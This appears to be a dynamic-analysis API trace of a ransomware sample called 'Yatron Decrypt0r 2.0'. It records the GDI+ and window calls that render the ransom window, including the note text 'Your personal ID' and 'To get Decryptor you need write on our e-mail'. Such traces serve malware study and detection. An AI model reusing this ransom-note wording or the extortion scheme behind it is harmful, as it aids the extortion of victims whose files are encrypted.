[0285.356] GetTextColor (hdc=0xd010b4c) returned 0x0
[0285.356] SetTextColor (hdc=0xd010b4c, color=0xffff) returned 0x0
[0285.356] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.356] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.357] SelectObject (hdc=0xd010b4c, h=0x50a0b98) returned 0x18a002e
[0285.357] GetBkMode (hdc=0xd010b4c) returned 2
[0285.357] SetBkMode (hdc=0xd010b4c, mode=1) returned 2
[0285.357] DrawTextExW (in: hdc=0xd010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed6d8, format=0x102010, lpdtp=0x26a7b18 | out: lpchText="Your personal ID :", lprc=0x2ed6d8) returned 14
[0285.357] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.357] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xd010b4c) returned 0x0
[0285.357] GetDC (hWnd=0x0) returned 0x2010a5c
[0285.357] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed788) returned 0x0
[0285.358] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.358] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.358] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0285.358] GetDC (hWnd=0x0) returned 0x2010a5c
[0285.358] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed788) returned 0x0
[0285.358] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.358] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.358] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0285.358] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.358] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.358] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.358] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.358] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.358] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.358] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.359] LocalFree (hMem=0x1de51510) returned 0x0
[0285.359] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.359] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.359] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.359] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.359] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.359] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.359] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.359] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.359] SaveDC (hdc=0xd010b4c) returned 1
[0285.359] OffsetViewportOrgEx (in: hdc=0xd010b4c, x=0, y=0, lppt=0x26a7f00 | out: lppt=0x26a7f00) returned 1
[0285.359] IsAppThemed () returned 0x1
[0285.359] GetThemeAppProperties () returned 0x3
[0285.359] GetThemeAppProperties () returned 0x3
[0285.359] DrawThemeBackground () returned 0x0
[0285.359] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.359] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xd010b4c) returned 0x0
[0285.359] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.359] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.359] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.359] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.360] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.360] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.360] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.360] LocalFree (hMem=0x1de51510) returned 0x0
[0285.360] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.360] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.360] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.360] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.360] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.360] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.360] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.360] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.360] SaveDC (hdc=0xd010b4c) returned 1
[0285.361] OffsetViewportOrgEx (in: hdc=0xd010b4c, x=0, y=0, lppt=0x26a8358 | out: lppt=0x26a8358) returned 1
[0285.361] IsAppThemed () returned 0x1
[0285.361] GetThemeAppProperties () returned 0x3
[0285.361] GetThemeAppProperties () returned 0x3
[0285.361] DrawThemeBackground () returned 0x0
[0285.361] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.361] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xd010b4c) returned 0x0
[0285.361] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.361] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.361] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.361] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.361] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.361] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.361] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.361] LocalFree (hMem=0x1de51510) returned 0x0
[0285.361] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.361] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.361] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.361] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.362] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.362] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.362] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.362] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.362] SaveDC (hdc=0xd010b4c) returned 1
[0285.362] OffsetViewportOrgEx (in: hdc=0xd010b4c, x=0, y=0, lppt=0x26a87b0 | out: lppt=0x26a87b0) returned 1
[0285.362] IsAppThemed () returned 0x1
[0285.362] GetThemeAppProperties () returned 0x3
[0285.362] GetThemeAppProperties () returned 0x3
[0285.362] DrawThemeBackground () returned 0x0
[0285.362] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.362] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xd010b4c) returned 0x0
[0285.362] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.362] SelectPalette (hdc=0xd010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.363] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0285.363] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0x85, wParam=0xe040b91, lParam=0x0) returned 0x0
[0285.363] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x85, wParam=0xf040b91, lParam=0x0) returned 0x0
[0285.363] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0285.363] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x85, wParam=0x10040b91, lParam=0x0) returned 0x1
[0285.363] SetTextColor (hdc=0x2010b40, color=0xffffff) returned 0x0
[0285.364] SetBkColor (hdc=0x2010b40, color=0x80) returned 0xffffff
[0285.364] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0285.364] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0285.364] GetSystemMetrics (nIndex=42) returned 0
[0285.364] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed8c0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0285.364] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed8c0) returned 0x2f
[0285.364] GetClientRect (in: hWnd=0x102a8, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.364] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.364] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.365] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.365] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.365] SaveDC (hdc=0xe010b4c) returned 1
[0285.365] GetNearestColor (hdc=0xe010b4c, color=0x80) returned 0x80
[0285.365] CreateSolidBrush (color=0x80) returned 0x10100a95
[0285.365] FillRect (hDC=0xe010b4c, lprc=0x2ed7b8, hbr=0x10100a95) returned 1
[0285.365] DeleteObject (ho=0x10100a95) returned 1
[0285.365] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.365] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0285.365] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0285.365] GetSystemMetrics (nIndex=42) returned 0
[0285.365] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed8c0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0285.365] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed8c0) returned 0x2f
[0285.365] IsAppThemed () returned 0x1
[0285.365] GetThemeAppProperties () returned 0x3
[0285.365] GetThemeAppProperties () returned 0x3
[0285.365] SelectPalette (hdc=0xe010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.366] GdipCreateFromHDC (hdc=0xe010b4c, graphics=0x2ed9a8) returned 0x0
[0285.366] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.366] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.366] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.366] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.366] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.366] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.366] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.366] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.366] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.366] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.366] IsAppThemed () returned 0x1
[0285.366] GetThemeAppProperties () returned 0x3
[0285.366] GetThemeAppProperties () returned 0x3
[0285.366] IsAppThemed () returned 0x1
[0285.366] GetThemeAppProperties () returned 0x3
[0285.366] GetThemeAppProperties () returned 0x3
[0285.366] IsThemePartDefined () returned 0x1
[0285.366] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.366] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.366] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.366] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.366] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.366] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.366] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.367] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.367] LocalFree (hMem=0x1de51510) returned 0x0
[0285.367] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.367] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.367] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.367] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.367] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.367] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.367] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.367] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.367] SaveDC (hdc=0xe010b4c) returned 1
[0285.367] OffsetViewportOrgEx (in: hdc=0xe010b4c, x=0, y=0, lppt=0x26a9660 | out: lppt=0x26a9660) returned 1
[0285.367] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.368] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.368] SelectObject (hdc=0xe010b4c, h=0x50a0b98) returned 0x18a002e
[0285.368] DrawTextExW (in: hdc=0xe010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed798, format=0x102410, lpdtp=0x26a9678 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed798) returned 14
[0285.368] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.368] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xe010b4c) returned 0x0
[0285.368] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.368] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.368] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.368] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.369] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.369] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.369] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.369] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.369] LocalFree (hMem=0x1de51510) returned 0x0
[0285.369] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.369] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.369] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.369] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.369] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.369] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.370] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.370] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.370] SaveDC (hdc=0xe010b4c) returned 1
[0285.370] OffsetViewportOrgEx (in: hdc=0xe010b4c, x=0, y=0, lppt=0x26a9a78 | out: lppt=0x26a9a78) returned 1
[0285.370] GetTextAlign (hdc=0xe010b4c) returned 0x0
[0285.370] GetTextColor (hdc=0xe010b4c) returned 0x0
[0285.370] SetTextColor (hdc=0xe010b4c, color=0xffff) returned 0x0
[0285.371] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.371] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.371] SelectObject (hdc=0xe010b4c, h=0x50a0b98) returned 0x18a002e
[0285.371] GetBkMode (hdc=0xe010b4c) returned 2
[0285.371] SetBkMode (hdc=0xe010b4c, mode=1) returned 2
[0285.372] DrawTextExW (in: hdc=0xe010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed6d8, format=0x102010, lpdtp=0x26a9c78 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed6d8) returned 14
[0285.372] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.372] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xe010b4c) returned 0x0
[0285.372] GetDC (hWnd=0x0) returned 0x2010a5c
[0285.372] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed788) returned 0x0
[0285.373] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.373] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.373] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0285.373] GetDC (hWnd=0x0) returned 0x2010a5c
[0285.373] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed788) returned 0x0
[0285.373] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.374] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.374] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0285.374] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.374] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.374] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.374] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.374] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.375] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.375] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.375] LocalFree (hMem=0x1de51510) returned 0x0
[0285.375] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.375] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.375] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.375] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.375] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.376] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.376] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.376] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.376] SaveDC (hdc=0xe010b4c) returned 1
[0285.376] OffsetViewportOrgEx (in: hdc=0xe010b4c, x=0, y=0, lppt=0x26aa060 | out: lppt=0x26aa060) returned 1
[0285.376] IsAppThemed () returned 0x1
[0285.376] GetThemeAppProperties () returned 0x3
[0285.377] GetThemeAppProperties () returned 0x3
[0285.377] DrawThemeBackground () returned 0x0
[0285.377] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.377] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xe010b4c) returned 0x0
[0285.377] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.377] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.377] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.377] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.378] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.378] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.378] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.378] LocalFree (hMem=0x1de51510) returned 0x0
[0285.378] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.378] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.378] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.378] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.379] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.390] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.390] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.390] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.390] SaveDC (hdc=0xe010b4c) returned 1
[0285.390] OffsetViewportOrgEx (in: hdc=0xe010b4c, x=0, y=0, lppt=0x26aa4b8 | out: lppt=0x26aa4b8) returned 1
[0285.391] IsAppThemed () returned 0x1
[0285.391] GetThemeAppProperties () returned 0x3
[0285.391] GetThemeAppProperties () returned 0x3
[0285.391] DrawThemeBackground () returned 0x0
[0285.391] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.391] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xe010b4c) returned 0x0
[0285.391] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.391] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.391] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.392] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.392] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.392] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.392] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.392] LocalFree (hMem=0x1de51510) returned 0x0
[0285.392] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.392] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.393] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.393] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.393] GetCurrentObject (hdc=0xe010b4c, type=0x1) returned 0x1b00017
[0285.393] GetCurrentObject (hdc=0xe010b4c, type=0x2) returned 0x1900010
[0285.393] GetCurrentObject (hdc=0xe010b4c, type=0x7) returned 0x6050b85
[0285.393] GetCurrentObject (hdc=0xe010b4c, type=0x6) returned 0x18a002e
[0285.393] SaveDC (hdc=0xe010b4c) returned 1
[0285.394] OffsetViewportOrgEx (in: hdc=0xe010b4c, x=0, y=0, lppt=0x26aa910 | out: lppt=0x26aa910) returned 1
[0285.394] IsAppThemed () returned 0x1
[0285.394] GetThemeAppProperties () returned 0x3
[0285.394] GetThemeAppProperties () returned 0x3
[0285.394] DrawThemeBackground () returned 0x0
[0285.394] RestoreDC (hdc=0xe010b4c, nSavedDC=-1) returned 1
[0285.394] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xe010b4c) returned 0x0
[0285.394] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.394] SelectPalette (hdc=0xe010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.659] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0285.659] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.659] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.661] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0285.662] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee698 | out: lpwndpl=0x2ee698) returned 1
[0285.662] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x47, wParam=0x0, lParam=0x2eeac0) returned 0x0
[0285.662] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x5, wParam=0x0, lParam=0x2ad030a) returned 0x0
[0285.662] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee530 | out: lpRect=0x2ee530) returned 1
[0285.663] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee530 | out: lpRect=0x2ee530) returned 1
[0285.673] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x1, lParam=0x4015e) returned 0x1
[0285.675] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2eeac0) returned 0x0
[0285.675] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.686] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee6b8 | out: lpwndpl=0x2ee6b8) returned 1
[0285.686] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee5d0 | out: lpRect=0x2ee5d0) returned 1
[0285.686] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0285.686] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0285.686] GetSystemMetrics (nIndex=42) returned 0
[0285.686] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee320, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0285.686] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee320) returned 0x14
[0285.687] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee3b8 | out: lpRect=0x2ee3b8) returned 1
[0285.687] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0285.687] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0285.688] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0285.688] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0285.688] SaveDC (hdc=0x1010a48) returned 1
[0285.688] GetNearestColor (hdc=0x1010a48, color=0x80) returned 0x80
[0285.688] CreateSolidBrush (color=0x80) returned 0x11100a95
[0285.688] FillRect (hDC=0x1010a48, lprc=0x2ee0a8, hbr=0x11100a95) returned 1
[0285.688] DeleteObject (ho=0x11100a95) returned 1
[0285.689] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0285.689] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.689] GetClientRect (in: hWnd=0x60106, lpRect=0x2ee6f0 | out: lpRect=0x2ee6f0) returned 1
[0285.689] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ee638) returned 0x0
[0285.689] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee620) returned 0x0
[0285.690] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=759, height=357) returned 0x0
[0285.690] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0285.690] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0285.692] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.692] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.692] GetClientRect (in: hWnd=0x20276, lpRect=0x2ee6f0 | out: lpRect=0x2ee6f0) returned 1
[0285.692] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ee638) returned 0x0
[0285.692] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee620) returned 0x0
[0285.692] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=166, height=103) returned 0x0
[0285.693] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0285.693] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0285.693] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
